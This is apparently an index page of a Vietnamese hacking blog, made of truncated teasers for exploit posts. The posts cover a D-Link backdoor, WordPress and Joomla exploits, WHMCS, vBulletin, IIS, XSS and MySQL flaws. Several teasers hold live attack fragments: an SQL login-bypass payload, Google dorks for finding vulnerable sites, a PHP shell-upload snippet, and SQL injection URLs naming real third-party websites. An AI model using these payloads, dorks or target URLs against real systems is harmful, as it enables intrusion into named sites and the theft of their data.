Dương-UG Blog's

Một người bạn đã đưa cho tôi bài viết này. Backdoor trong modem D-Link và khai thác với chrome reverse engineering đối với firmware của ...

################################################## ################################################# # Exploit Title: WordPress Curvo Them...

# Exploit : Login page bypass # # Location : [Target]/login.php Location 2 : [Target]/admin # # Username : '=' 'or' # ...

$$$$$$\ $$\ $$\ $$$$$$\ $$ __$$\ $$ | $$ | $$ __$$\ $$ / \__| $$ | $$ | $$ / \__| $$ |$$$$\ $$$$$$$$ | \$...

Exploit : Code: <?php $uploadfile="up.php"; $ch = curl_init("http://wordpress.localhost:8080/wordpress/wp-content/...

So, Friends and Enemies :p here is the Lastest Vulnerability Leaked in Black Hackers Market for WHMCS Vulnerability Effects: /includes/d...

Dork: inurl:/index.php?option=com_redmystic http://www.discount-espresso.co.uk/media/r.php Quăng link vào và Exploit. Nếu thành công sẽ x...

Introductions : Lỗi này xuất hiện trên các máy chủ web Microsoft IIS cho phép Attacker có thể đoán được tên các file hay folder mà bình th...

requirements: 1.mind use this google dork to find vulnerable joomla sites ##  google dork : inurl:index.php?option=com_fabrik after open the...

Kỹ thuật tấn công theo kiểu IFrame Injection hiện vẫn đang là 1 dạng xâm nhập cơ bản và phổ biến nhất của mô hình Cro...

One of the most popular Wordpress Plugin called " W3 Total Cache " which is used to Improve site performance and user experience...

Cross Site Scripting (còn được gọi là XSS hay CSS) là một trong những kỹ thuật tấn công tầng ứng dụng (L7) phổ biến nhất. Thông thường, hầ...

Xenotix XSS Exploit Framework is a penetration testing tool to detect and exploit XSS vulnerabilities in Web Applications. This tool can ...

Researcher discovered Multiple Zero-day vulnerabilities in MySQL database software including Stack based buffer overrun, Heap Base...

2 lỗi mà mình nói đến là lỗi SQL Injection của mod Chang stat và lỗi CSRF để add plugin. 1. Lỗi SQL Injection của Changuondyu Stat...

Go to acp, Faq Manager and then edit a FAQ, add the following code: {$vbulletin->config['MasterServer']['servername'...

Bug Bounty là chương trình tìm kiếm lỗ hổng bảo mật và thông báo cho đơn vị tổ chức và nhận giải thưởng. Các lỗ hổng tìm được sẽ được cung ...

webShell 4.O remote Configuration excution vulnerable url :  http://website.com/picture.php?file=_mysql.php               Dorks :  ext...

Dorks : inurl:"modules/filemanagermodule/actions/?picker.php??id=0"            intitle:"Testing Image Collections" Go...

1 Mã: http://www.elansystems.co.za/product-item.php?product_items_id=-11 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),...